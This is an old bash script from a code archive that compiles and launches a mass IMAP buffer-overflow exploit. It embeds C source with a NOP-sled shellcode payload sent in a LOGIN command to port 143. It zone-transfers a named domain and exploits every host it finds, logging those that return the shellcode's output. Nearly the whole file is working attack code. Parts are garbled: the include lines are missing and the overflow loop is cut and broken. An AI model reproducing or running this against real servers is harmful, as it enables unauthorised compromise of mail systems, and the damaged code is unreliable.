www.pudn.com > imapd_scan.zip > imapd_scan.sh
#!/bin/bash # # http://www.cotse.com Fear the swimming Elephant! */ # # tnt on EFNET # d0x@usa.net # ne komy ne davai # scan subnet for 143 open and werk # chmod +x 143.sh # 143.sh mit.edu if [ $# != 1 ] then echo "Usage:" echo `basename $0`"" exit else if [ -f check ]; then echo "* Port scaner already exist" else echo "* Compiling 143 port scaner." cat > check.c <<'EOF' #include #include #include #include #include #include #include #include char *h_to_ip(char *hostname); char *h_to_ip(char *hostname) { struct hostent *h; struct sockaddr_in tmp; struct in_addr in; h = gethostbyname(hostname); if (h==NULL) exit(-1); memcpy((caddr_t)&tmp.sin_addr.s_addr, h->h_addr, h->h_length); memcpy(&in,&tmp.sin_addr.s_addr,4); return(inet_ntoa(in)); } void call_alarm(void) { signal(SIGALRM, call_alarm); } main(int argc, char *argv[]) { struct sockaddr_in sin; char *hostname; char shell[] = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\xeb\x3b\x5e\x89\x76\x08\x31\xed\x31\xc9\x31\xc0\x88" "\x6e\x07\x89\x6e\x0c\xb0\x0b\x89\xf3\x8d\x6e\x08\x89\xe9\x8d\x6e" "\x0c\x89\xea\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\xe8\xc0\xff\xff\xff/bin/df"; char username[1024+255]; long val; char buffer[512]; int outsocket,tnt,i; if (argc<2) { printf("Usage : %s hostname\n",argv[0]);exit(-1); } hostname=argv[1]; outsocket=socket(AF_INET,SOCK_STREAM,0); sin.sin_family=AF_INET; sin.sin_port=htons(143); signal(SIGALRM, call_alarm); alarm(5); sin.sin_addr.s_addr=inet_addr(h_to_ip(hostname)); strcpy(username,shell); for(i=strlen(username);i > 8; username[i+2] = (val & 0x00ff0000) >> 16; username[i+3] = (val & 0xff000000) >> 24; } username[ sizeof(username)-1 ] = 0; tnt=connect (outsocket, (struct sockaddr *) &sin, sizeof(sin)); alarm(0); if (tnt > -1 ) { write(outsocket,"301 LOGIN \"",strlen("301 LOGIN \"")); write(outsocket,username,strlen(username)); write(outsocket,"\" pass\n\n",strlen(" pass\n\n")); while (read(outsocket,buffer,512)!=0) {if ((strstr(buffer,"Bad")!=NULL) || (strstr(buffer,"BAD")!=NULL) || (strstr(buffer,"Netscape")!=NULL) || (strstr(buffer,"v10.")!=NULL) || (strstr(buffer,"AltaVista")!=NULL) || (strstr(buffer,"Solstice")!=NULL) || (s trstr(buffer,"RPC:")!=NULL)) {close(outsocket);exit(-1);}} if (strstr(buffer,"Filesystem")!=NULL) { printf("%s\n",argv[1]); } } close(outsocket); } EOF gcc -o check check.c >/dev/null 2>&1 if [ -f check ]; then /bin/rm -rf check.c else echo "* Unable to compile port scaner" rm -rf *.tmp rm -rf *.domains rm -rf check.c exit 1 fi fi echo "* Scanning domain for hosts." host -l $1 | grep "has address" | awk -F ' ' '{ print $4 }' > $1.domains echo "* Host scan complete." echo "* Sorting hosts and removing dupes." sort < $1.domains > $1.sorted uniq < $1.sorted > $1.domains rm -f $1.sorted cat $1.domains | awk -F ' ' '{ print "./check " $1 " &" }' > $1.tmp chmod +x $1.tmp echo "* Scaning for port 143 open. Saving data to $1.hits" ./$1.tmp > $1.hits rm -rf *.tmp rm -rf *.domains sleep 5 killall -9 check fi